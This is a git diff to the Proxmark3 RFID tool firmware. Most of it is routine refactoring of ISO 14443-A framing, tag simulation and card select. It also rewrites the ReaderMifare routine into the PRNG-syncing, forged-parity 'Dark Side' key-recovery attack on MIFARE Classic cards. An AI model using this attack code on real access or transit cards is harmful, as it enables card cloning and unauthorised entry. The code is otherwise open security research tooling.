X-Git-Url: http://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/17331e14ee99bebaef8d84fba44a90818bc5c817..babfcaa0f3e4f3d83fd7ac9707a37db12431ec80:/armsrc/iso14443a.c

diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c
index 8e078140..56afaeb8 100644
--- a/armsrc/iso14443a.c
+++ b/armsrc/iso14443a.c
@@ -898,13 +898,21 @@ static int GetIso14443aCommandFromReader(uint8_t *received, int *len, int maxLen
         }
     }
 }
+
 static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSend4bitEx(uint8_t resp, int correctionNeeded);
+int EmSend4bit(uint8_t resp);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdEx(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSendCmd(uint8_t *resp, int respLen);
+int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par);
 
 //-----------------------------------------------------------------------------
 // Main loop of simulated tag: receive commands from reader, decide what
 // response to send, and send it.
 //-----------------------------------------------------------------------------
-void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
+void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
 {
   // Enable and clear the trace
 	tracing = TRUE;
@@ -985,7 +993,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 	uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS
 	ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]);
 
-	uint8_t *resp;
+	uint8_t *resp = NULL;
 	int respLen;
 
   // Longest possible response will be 16 bytes + 2 CRC = 18 bytes
@@ -1024,7 +1032,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 
 	// Response to a read request - not implemented atm
 	uint8_t *resp4 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*4));
-	int resp4Len;
+//	int resp4Len;
 
 	// Authenticate response - nonce
 	uint8_t *resp5 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*5));
@@ -1048,7 +1056,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 	int cmdsRecvd = 0;
 	uint8_t* respdata = NULL;
 	int respsize = 0;
-	uint8_t nack = 0x04;
+//	uint8_t nack = 0x04;
 
 	memset(receivedCmd, 0x44, RECV_CMD_SIZE);
 
@@ -1077,7 +1085,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 
 	// Strange answer is an example of rare message size (3 bits)
 	CodeStrangeAnswerAsTag();
-	memcpy(resp4, ToSend, ToSendMax); resp4Len = ToSendMax;
+	memcpy(resp4, ToSend, ToSendMax);// resp4Len = ToSendMax;
 
 	// Authentication answer (random nonce)
 	CodeIso14443aAsTag(response5, sizeof(response5));
@@ -1100,6 +1108,11 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 			DbpString("button press");
 			break;
 		}
+    
+    if (tracing) {
+			LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
+    }
+    
 		// doob - added loads of debug strings so we can see what the reader is saying to us during the sim as hi14alist is not populated
 		// Okay, look at the command now.
 		lastorder = order;
@@ -1128,10 +1141,13 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 			respdata = response3a;
 			respsize = sizeof(response3a);
 		} else if(receivedCmd[0] == 0x30) {	// Received a (plain) READ
-			resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+//			resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+//			respdata = &nack;
+//			respsize = sizeof(nack); // 4-bit answer
+      EmSendCmdEx(data+(4*receivedCmd[0]),16,false);
 			Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]);
-			respdata = &nack;
-			respsize = sizeof(nack); // 4-bit answer
+      // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
+      respLen = 0;
 		} else if(receivedCmd[0] == 0x50) {	// Received a HALT
 //			DbpString("Reader requested we HALT!:");
 			// Do not respond
@@ -1186,7 +1202,6 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 		}
 		
 		if (tracing) {
-			LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
 			if (respdata != NULL) {
 				LogTrace(respdata,respsize, 0, SwapBits(GetParity(respdata,respsize),respsize), FALSE);
 			}
@@ -1247,68 +1262,9 @@ static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wa
 }
 
 //-----------------------------------------------------------------------------
-// Code a 7-bit command without parity bit
-// This is especially for 0x26 and 0x52 (REQA and WUPA)
+// Prepare reader command (in bits, support short frames) to send to FPGA
 //-----------------------------------------------------------------------------
-void ShortFrameFromReader(const uint8_t bt)
-{
-	int j;
-	int last;
-  uint8_t b;
-
-	ToSendReset();
-
-	// Start of Communication (Seq. Z)
-	ToSend[++ToSendMax] = SEC_Z;
-	last = 0;
-
-	b = bt;
-	for(j = 0; j < 7; j++) {
-		if(b & 1) {
-			// Sequence X
-			ToSend[++ToSendMax] = SEC_X;
-			last = 1;
-		} else {
-			if(last == 0) {
-				// Sequence Z
-				ToSend[++ToSendMax] = SEC_Z;
-			}
-			else {
-				// Sequence Y
-				ToSend[++ToSendMax] = SEC_Y;
-				last = 0;
-			}
-		}
-		b >>= 1;
-	}
-
-	// End of Communication
-	if(last == 0) {
-		// Sequence Z
-		ToSend[++ToSendMax] = SEC_Z;
-	}
-	else {
-		// Sequence Y
-		ToSend[++ToSendMax] = SEC_Y;
-		last = 0;
-	}
-	// Sequence Y
-	ToSend[++ToSendMax] = SEC_Y;
-
-	// Just to be sure!
-	ToSend[++ToSendMax] = SEC_Y;
-	ToSend[++ToSendMax] = SEC_Y;
-	ToSend[++ToSendMax] = SEC_Y;
-
-    // Convert from last character reference to length
-    ToSendMax++;
-}
-
-//-----------------------------------------------------------------------------
-// Prepare reader command to send to FPGA
-//
-//-----------------------------------------------------------------------------
-void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity)
 {
   int i, j;
   int last;
@@ -1320,12 +1276,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
   ToSend[++ToSendMax] = SEC_Z;
   last = 0;
 
+  size_t bytecount = nbytes(bits);
   // Generate send structure for the data bits
-  for (i = 0; i < len; i++) {
+  for (i = 0; i < bytecount; i++) {
     // Get the current byte to send
     b = cmd[i];
+    size_t bitsleft = MIN((bits-(i*8)),8);
 
-    for (j = 0; j < 8; j++) {
+    for (j = 0; j < bitsleft; j++) {
       if (b & 1) {
         // Sequence X
     	  ToSend[++ToSendMax] = SEC_X;
@@ -1343,19 +1301,22 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
       b >>= 1;
     }
 
-    // Get the parity bit
-    if ((dwParity >> i) & 0x01) {
-      // Sequence X
-    	ToSend[++ToSendMax] = SEC_X;
-      last = 1;
-    } else {
-      if (last == 0) {
-        // Sequence Z
-    	  ToSend[++ToSendMax] = SEC_Z;
+    // Only transmit (last) parity bit if we transmitted a complete byte
+    if (j == 8) {
+      // Get the parity bit
+      if ((dwParity >> i) & 0x01) {
+        // Sequence X
+        ToSend[++ToSendMax] = SEC_X;
+        last = 1;
       } else {
-        // Sequence Y
-    	  ToSend[++ToSendMax] = SEC_Y;
-        last = 0;
+        if (last == 0) {
+          // Sequence Z
+          ToSend[++ToSendMax] = SEC_Z;
+        } else {
+          // Sequence Y
+          ToSend[++ToSendMax] = SEC_Y;
+          last = 0;
+        }
       }
     }
   }
@@ -1381,6 +1342,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
   ToSendMax++;
 }
 
+//-----------------------------------------------------------------------------
+// Prepare reader command to send to FPGA
+//-----------------------------------------------------------------------------
+void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+{
+  CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity);
+}
+
 //-----------------------------------------------------------------------------
 // Wait for commands from reader
 // Stop when button is pressed (return 1) or field was gone (return 2)
@@ -1546,7 +1515,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
 	// Signal field is on with the appropriate LED
 	LED_D_ON();
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
-
+	
 	// Now get the answer from the card
 	Demod.output = receivedResponse;
 	Demod.len = 0;
@@ -1578,43 +1547,33 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
 	}
 }
 
-void ReaderTransmitShort(const uint8_t* bt)
-{
-  int wait = 0;
-  int samples = 0;
-
-  ShortFrameFromReader(*bt);
-
-  // Select the card
-  TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
-
-  // Store reader command in buffer
-  if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE);
-}
-
-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
 {
   int wait = 0;
   int samples = 0;
-
+  
   // This is tied to other size changes
   // 	uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
-  CodeIso14443aAsReaderPar(frame,len,par);
-
+  CodeIso14443aBitsAsReaderPar(frame,bits,par);
+  
   // Select the card
   TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
   if(trigger)
   	LED_A_ON();
-
+  
   // Store reader command in buffer
-  if (tracing) LogTrace(frame,len,0,par,TRUE);
+  if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
 }
 
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+{
+  ReaderTransmitBitsPar(frame,len*8,par);
+}
 
 void ReaderTransmit(uint8_t* frame, int len)
 {
   // Generate parity and redirect
-  ReaderTransmitPar(frame,len,GetParity(frame,len));
+  ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len));
 }
 
 int ReaderReceive(uint8_t* receivedAnswer)
@@ -1640,26 +1599,26 @@ int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr)
  * fills the uid pointer unless NULL
  * fills resp_data unless NULL */
 int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) {
-	uint8_t wupa[]       = { 0x52 };  // 0x26 - REQA  0x52 - WAKE-UP
-	uint8_t sel_all[]    = { 0x93,0x20 };
-	uint8_t sel_uid[]    = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-	uint8_t rats[]       = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
-	uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
+  uint8_t wupa[]       = { 0x52 };  // 0x26 - REQA  0x52 - WAKE-UP
+  uint8_t sel_all[]    = { 0x93,0x20 };
+  uint8_t sel_uid[]    = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+  uint8_t rats[]       = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
+  uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
   byte_t uid_resp[4];
   size_t uid_resp_len;
 
-	uint8_t sak = 0x04; // cascade uid
-	int cascade_level = 0;
-	int len;
+  uint8_t sak = 0x04; // cascade uid
+  int cascade_level = 0;
+  int len;
 	 
-	// Broadcast for a card, WUPA (0x52) will force response from all cards in the field
-	ReaderTransmitShort(wupa);
-	// Receive the ATQA
-	if(!ReaderReceive(resp)) return 0;
+  // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
+    ReaderTransmitBitsPar(wupa,7,0);
+  // Receive the ATQA
+  if(!ReaderReceive(resp)) return 0;
 //  Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
-  
-	if(p_hi14a_card) {
-		memcpy(p_hi14a_card->atqa, resp, 2);
+
+  if(p_hi14a_card) {
+    memcpy(p_hi14a_card->atqa, resp, 2);
     p_hi14a_card->uidlen = 0;
     memset(p_hi14a_card->uid,0,10);
   }
@@ -1669,19 +1628,18 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
     memset(uid_ptr,0,10);
   }
 
-	// OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
-	// which case we need to make a cascade 2 request and select - this is a long UID
-	// While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
-	for(; sak & 0x04; cascade_level++)
-	{
-		// SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
-		sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+  // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
+  // which case we need to make a cascade 2 request and select - this is a long UID
+  // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
+  for(; sak & 0x04; cascade_level++) {
+    // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
+    sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
 
-		// SELECT_ALL
-		ReaderTransmit(sel_all,sizeof(sel_all));
-		if (!ReaderReceive(resp)) return 0;
+    // SELECT_ALL
+    ReaderTransmit(sel_all,sizeof(sel_all));
+    if (!ReaderReceive(resp)) return 0;
     
-    // First backup the current uid 
+    // First backup the current uid
     memcpy(uid_resp,resp,4);
     uid_resp_len = 4;
     //    Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
@@ -1691,20 +1649,20 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
       *cuid_ptr = bytes_to_num(uid_resp, 4);
     }
 
-		// Construct SELECT UID command
+    // Construct SELECT UID command
 		memcpy(sel_uid+2,resp,5);
-		AppendCrc14443a(sel_uid,7);
-		ReaderTransmit(sel_uid,sizeof(sel_uid));
+    AppendCrc14443a(sel_uid,7);
+    ReaderTransmit(sel_uid,sizeof(sel_uid));
 
-		// Receive the SAK
-		if (!ReaderReceive(resp)) return 0;
-		sak = resp[0];
+    // Receive the SAK
+    if (!ReaderReceive(resp)) return 0;
+    sak = resp[0];
 
     // Test if more parts of the uid are comming
     if ((sak & 0x04) && uid_resp[0] == 0x88) {
       // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
       // http://www.nxp.com/documents/application_note/AN10927.pdf
-      memcpy(uid_ptr, uid_ptr + 1, 3);
+      memcpy(uid_resp, uid_resp + 1, 3);
       uid_resp_len = 3;
     }
     
@@ -1716,31 +1674,31 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
       memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
       p_hi14a_card->uidlen += uid_resp_len;
     }
-	}
+  }
 
-	if(p_hi14a_card) {
-		p_hi14a_card->sak = sak;
-		p_hi14a_card->ats_len = 0;
-	}
+  if(p_hi14a_card) {
+    p_hi14a_card->sak = sak;
+    p_hi14a_card->ats_len = 0;
+  }
 
-	if( (sak & 0x20) == 0) {
-		return 2; // non iso14443a compliant tag
+  if( (sak & 0x20) == 0) {
+    return 2; // non iso14443a compliant tag
   }
 
-	// Request for answer to select
-	if(p_hi14a_card) {  // JCOP cards - if reader sent RATS then there is no MIFARE session at all!!!
-		AppendCrc14443a(rats, 2);
-		ReaderTransmit(rats, sizeof(rats));
-		
-		if (!(len = ReaderReceive(resp))) return 0;
-		
-		memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
-		p_hi14a_card->ats_len = len;
-	}
+  // Request for answer to select
+  AppendCrc14443a(rats, 2);
+  ReaderTransmit(rats, sizeof(rats));
+
+  if (!(len = ReaderReceive(resp))) return 0;
+
+  if(p_hi14a_card) {
+    memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
+    p_hi14a_card->ats_len = len;
+  }
 	
-	// reset the PCB block number
-	iso14_pcb_blocknum = 0;
-	return 1;
+  // reset the PCB block number
+  iso14_pcb_blocknum = 0;
+  return 1;
 }
 
 void iso14443a_setup() {
@@ -1853,87 +1811,223 @@ void ReaderIso14443a(UsbCommand * c)
 	LEDsoff();
 }
 
+
+// prepare the Mifare AUTH transfer with an added necessary delay.
+void PrepareDelayedAuthTransfer(uint8_t* frame, int len, uint16_t delay)
+{
+	CodeIso14443aBitsAsReaderPar(frame, len*8, GetParity(frame,len));
+
+	uint8_t bitmask = 0;
+	uint8_t bits_to_shift = 0;
+	uint8_t bits_shifted = 0;
+	
+	if (delay) {
+		for (uint16_t i = 0; i < delay; i++) {
+			bitmask |= (0x01 << i);
+		}
+		ToSend[++ToSendMax] = 0x00;
+		for (uint16_t i = 0; i < ToSendMax; i++) {
+			bits_to_shift = ToSend[i] & bitmask;
+			ToSend[i] = ToSend[i] >> delay;
+			ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+			bits_shifted = bits_to_shift;
+		}
+	}
+}
+
+
+
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+	uint16_t i;
+	uint32_t nttmp1, nttmp2;
+
+	if (nt1 == nt2) return 0;
+
+	nttmp1 = nt1;
+	nttmp2 = nt2;
+	
+	for (i = 1; i < 32768; i++) {
+		nttmp1 = prng_successor(nttmp1, 1);
+		if (nttmp1 == nt2) return i;
+		nttmp2 = prng_successor(nttmp2, 1);
+			if (nttmp2 == nt1) return -i;
+		}
+	
+	return(-99999); // either nt1 or nt2 are invalid nonces
+}
+
+
 //-----------------------------------------------------------------------------
-// Read an ISO 14443a tag. Send out commands and store answers.
-//
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
 //-----------------------------------------------------------------------------
-void ReaderMifare(uint32_t parameter)
+void ReaderMifare(bool first_try)
 {
 	// Mifare AUTH
 	uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
 	uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+	static uint8_t mf_nr_ar3;
 
-	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
+	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
 	traceLen = 0;
 	tracing = false;
 
-	iso14443a_setup();
-
-	LED_A_ON();
-	LED_B_OFF();
-	LED_C_OFF();
-
 	byte_t nt_diff = 0;
-	LED_A_OFF();
 	byte_t par = 0;
 	//byte_t par_mask = 0xff;
-	byte_t par_low = 0;
-	int led_on = TRUE;
-	uint8_t uid[8];
+	static byte_t par_low = 0;
+	bool led_on = TRUE;
+	uint8_t uid[10];
 	uint32_t cuid;
 
-	tracing = FALSE;
-	byte_t nt[4] = {0,0,0,0};
-	byte_t nt_attacked[4], nt_noattack[4];
+	uint32_t nt, previous_nt;
+	static uint32_t nt_attacked = 0;
 	byte_t par_list[8] = {0,0,0,0,0,0,0,0};
 	byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
-	num_to_bytes(parameter, 4, nt_noattack);
-	int isOK = 0, isNULL = 0;
 
-	while(TRUE)
-	{
-		LED_C_OFF();
-		FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-		SpinDelay(50);
-		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-		LED_C_ON();
-		SpinDelay(2);
+	static uint32_t sync_time;
+	static uint32_t sync_cycles;
+	int catch_up_cycles = 0;
+	int last_catch_up = 0;
+	uint16_t consecutive_resyncs = 0;
+	int isOK = 0;
+
+
+
+	if (first_try) { 
+		StartCountMifare();
+		mf_nr_ar3 = 0;
+		iso14443a_setup();
+		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // resets some FPGA internal registers
+		while((GetCountMifare() & 0xffff0000) != 0x10000);		// wait for counter to reset and "warm up" 
+		while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); 		// wait for ssp_frame to be low
+		while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); 	// sync on rising edge of ssp_frame
+		sync_time = GetCountMifare();
+		sync_cycles = 65536;									// theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+		nt_attacked = 0;
+		nt = 0;
+		par = 0;
+	}
+	else {
+		// we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+		// nt_attacked = prng_successor(nt_attacked, 1);
+		mf_nr_ar3++;
+		mf_nr_ar[3] = mf_nr_ar3;
+		par = par_low;
+	}
+
+	LED_A_ON();
+	LED_B_OFF();
+	LED_C_OFF();
+	
+  
+	for(uint16_t i = 0; TRUE; i++) {
+		
+		WDT_HIT();
 
 		// Test if the action was cancelled
 		if(BUTTON_PRESS()) {
 			break;
 		}
+		
+		LED_C_ON();
 
-		if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+		if(!iso14443a_select_card(uid, NULL, &cuid)) {
+			continue;
+		}
 
+		//keep the card active
+		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+
+		PrepareDelayedAuthTransfer(mf_auth, sizeof(mf_auth), (sync_cycles + catch_up_cycles) & 0x00000007);
+
+		sync_time = sync_time + ((sync_cycles + catch_up_cycles) & 0xfffffff8);
+		catch_up_cycles = 0;
+
+		// if we missed the sync time already, advance to the next nonce repeat
+		while(GetCountMifare() > sync_time) {
+			sync_time = sync_time + (sync_cycles & 0xfffffff8);
+		}
+
+		// now sync. After syncing, the following Classic Auth will return the same tag nonce (mostly)
+		while(GetCountMifare() < sync_time);
+		
 		// Transmit MIFARE_CLASSIC_AUTH
-		ReaderTransmit(mf_auth, sizeof(mf_auth));
+		int samples = 0;
+		int wait = 0;
+		TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
 
-		// Receive the (16 bit) "random" nonce
-		if (!ReaderReceive(receivedAnswer)) continue;
-		memcpy(nt, receivedAnswer, 4);
+		// Receive the (4 Byte) "random" nonce
+		if (!ReaderReceive(receivedAnswer)) {
+			continue;
+		  }
 
-		// Transmit reader nonce and reader answer
-		ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
+ 
+		previous_nt = nt;
+		nt = bytes_to_num(receivedAnswer, 4);
 
-		// Receive 4 bit answer
-		if (ReaderReceive(receivedAnswer))
-		{
-			if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+		// Transmit reader nonce with fake par
+		ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par);
 
-			isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
-			if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
+		if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+			int nt_distance = dist_nt(previous_nt, nt);
+			if (nt_distance == 0) {
+				nt_attacked = nt;
+			}
+			else {
+				if (nt_distance == -99999) { // invalid nonce received, try again
+					continue;
+				}
+				sync_cycles = (sync_cycles - nt_distance);
+//				Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+				continue;
+			}
+		}
 
+		if ((nt != nt_attacked) && nt_attacked) { 	// we somehow lost sync. Try to catch up again...
+			catch_up_cycles = -dist_nt(nt_attacked, nt);
+			if (catch_up_cycles == 99999) {			// invalid nonce received. Don't resync on that one.
+				catch_up_cycles = 0;
+				continue;
+			}
+			if (catch_up_cycles == last_catch_up) {
+				consecutive_resyncs++;
+			}
+			else {
+				last_catch_up = catch_up_cycles;
+			    consecutive_resyncs = 0;
+			}
+			if (consecutive_resyncs < 3) {
+				Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+			}
+			else {	
+				sync_cycles = sync_cycles + catch_up_cycles;
+				Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+			}
+			continue;
+		}
+ 
+		consecutive_resyncs = 0;
+		
+		// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+		if (ReaderReceive(receivedAnswer))
+		{
+			catch_up_cycles = 8; 	// the PRNG doesn't run during data transfers. 4 Bit = 8 cycles
+	
 			if (nt_diff == 0)
 			{
-				LED_A_ON();
-				memcpy(nt_attacked, nt, 4);
-				//par_mask = 0xf8;
-				par_low = par & 0x07;
+				par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
 			}
 
 			led_on = !led_on;
 			if(led_on) LED_B_ON(); else LED_B_OFF();
+
 			par_list[nt_diff] = par;
 			ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
 
@@ -1944,10 +2038,10 @@ void ReaderMifare(uint32_t parameter)
 			}
 
 			nt_diff = (nt_diff + 1) & 0x07;
-			mf_nr_ar[3] = nt_diff << 5;
+			mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
 			par = par_low;
 		} else {
-			if (nt_diff == 0)
+			if (nt_diff == 0 && first_try)
 			{
 				par++;
 			} else {
@@ -1956,31 +2050,27 @@ void ReaderMifare(uint32_t parameter)
 		}
 	}
 
-	LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
+	LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
 	LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
 	LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
 
-  byte_t buf[48];
-//	UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
+	mf_nr_ar[3] &= 0x1F;
+	
+	byte_t buf[28];
 	memcpy(buf + 0,  uid, 4);
-	memcpy(buf + 4,  nt, 4);
+	num_to_bytes(nt, 4, buf + 4);
 	memcpy(buf + 8,  par_list, 8);
 	memcpy(buf + 16, ks_list, 8);
+	memcpy(buf + 24, mf_nr_ar, 4);
 		
-	LED_B_ON();
-  cmd_send(CMD_ACK,isOK,0,0,buf,48);
-//	UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
-	LED_B_OFF();	
+	cmd_send(CMD_ACK,isOK,0,0,buf,28);
 
 	// Thats it...
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
 	LEDsoff();
 	tracing = TRUE;
-	
-	if (MF_DBGLEVEL >= 1)	DbpString("COMMAND mifare FINISHED");
 }
 
-
 //-----------------------------------------------------------------------------
 // MIFARE 1K simulate. 
 // 
@@ -2557,4 +2647,4 @@ done:
 	
 	Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax);
 	LEDsoff();
-}
\ No newline at end of file
+}